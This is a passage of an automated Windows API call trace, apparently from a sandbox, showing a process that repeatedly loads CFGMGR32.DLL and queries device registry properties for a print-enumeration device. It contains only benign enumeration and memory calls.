0x7ffa786dd2c0 [0189.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.218] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0189.218] CM_Get_Device_IDA (in: dnDevInst=0x25, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\{8E320CB0-49C6-48E6-BF25-A7ECE3AEB1B7}") returned 0x0 [0189.218] malloc (_Size=0x48) returned 0x196ef0fb220 [0189.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x51a2341e, dwHighDateTime=0x1d9eb0c)) [0189.218] SetEvent (hEvent=0x248) returned 1 [0189.222] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.222] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.223] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.224] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.225] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.226] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.227] malloc (_Size=0x18) returned 0x196ef0d1e60 [0189.227] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0189.227] malloc (_Size=0xae) returned 0x196ef0f8720 [0189.227] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f8720, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f8720, pulLength=0x67117d608) returned 0x0 [0189.228] free (_Block=0x196ef0f8720) [0189.228] malloc (_Size=0x48) returned 0x196ef0fb680 [0189.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x51a4912e, dwHighDateTime=0x1d9eb0c)) [0189.228] SetEvent (hEvent=0x248) returned 1 [0189.231] malloc (_Size=0x18) returned 0x196ef0d1f60 [0189.231] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0189.231] free (_Block=0x196ef0d1f60) [0189.231] malloc (_Size=0x18) returned 0x196ef0d1980 [0189.231] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0189.231] free (_Block=0x196ef0d1980) [0189.231] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0189.232] SafeArrayPutElement (psa=0x196ee7bf720, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0189.232] free (_Block=0x196ef0d1ac0) [0189.232] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855460 [0189.232] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0189.232] SafeArrayGetLBound (in: psa=0x196ee7bf720, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0189.232] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0189.232] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b65f0 [0189.232] SafeArrayGetDim (psa=0x196ee7bf720) returned 0x1 [0189.232] SafeArrayGetUBound (in: psa=0x196ee7bf720, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0189.232] SafeArrayGetElemsize (psa=0x196ee7bf720) returned 0x8 [0189.232] SafeArrayGetElement (in: psa=0x196ee7bf720, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0189.233] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e890, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.233] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e898, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.233] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e8a0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.234] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b65f0) returned 1 [0189.234] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855460) returned 1 [0189.235] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.248] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.249] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.250] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.251] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.251] malloc (_Size=0x18) returned 0x196ef0d1d40 [0189.251] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0189.437] malloc (_Size=0x54) returned 0x196ef0fa990 [0189.437] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fa990, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa990, pulLength=0x67117d608) returned 0x0 [0189.438] free (_Block=0x196ef0fa990) [0189.438] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0189.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x51c393f4, dwHighDateTime=0x1d9eb0c)) [0189.438] SetEvent (hEvent=0x248) returned 1 [0189.440] malloc (_Size=0x18) returned 0x196ef0d1d20 [0189.440] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0189.440] free (_Block=0x196ef0d1d20) [0189.440] malloc (_Size=0x18) returned 0x196ef0d1e00 [0189.440] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7772a8) returned 0x0 [0189.440] free (_Block=0x196ef0d1e00) [0189.440] malloc (_Size=0x18) returned 0x196ef0d1e60 [0189.441] SafeArrayPutElement (psa=0x196ee7bf360, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0189.441] free (_Block=0x196ef0d1e60) [0189.441] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8563e0 [0189.441] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0189.441] SafeArrayGetLBound (in: psa=0x196ee7bf360, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0189.441] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0189.441] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6230 [0189.441] SafeArrayGetDim (psa=0x196ee7bf360) returned 0x1 [0189.441] SafeArrayGetUBound (in: psa=0x196ee7bf360, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0189.441] SafeArrayGetElemsize (psa=0x196ee7bf360) returned 0x8 [0189.441] SafeArrayGetElement (in: psa=0x196ee7bf360, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0189.442] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.442] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.442] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0189.443] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6230) returned 1 [0189.443] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8563e0) returned 1 [0189.443] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.443] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.444] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.445] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.446] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.446] malloc (_Size=0x18) returned 0x196ef0d1a20 [0189.446] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.446] malloc (_Size=0x48) returned 0x196ef0fb6d0 [0189.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51c5f200, dwHighDateTime=0x1d9eb0c)) [0189.447] SetEvent (hEvent=0x248) returned 1 [0189.449] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.449] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.452] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.452] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0189.452] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.452] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0189.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51c5f200, dwHighDateTime=0x1d9eb0c)) [0189.452] SetEvent (hEvent=0x248) returned 1 [0189.455] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.455] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.458] malloc (_Size=0x18) returned 0x196ef0d20e0 [0189.458] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0189.459] malloc (_Size=0x48) returned 0x196ef0fbd60 [0189.459] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x51c85f82, dwHighDateTime=0x1d9eb0c)) [0189.459] SetEvent (hEvent=0x248) returned 1 [0189.462] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0189.462] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0189.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0189.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0189.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0189.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0189.463] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0189.464] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0189.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0189.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0189.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0189.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0189.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0189.466] malloc (_Size=0x18) returned 0x196ef0d2080 [0189.466] CM_Get_DevNode_Registry_PropertyW (in: 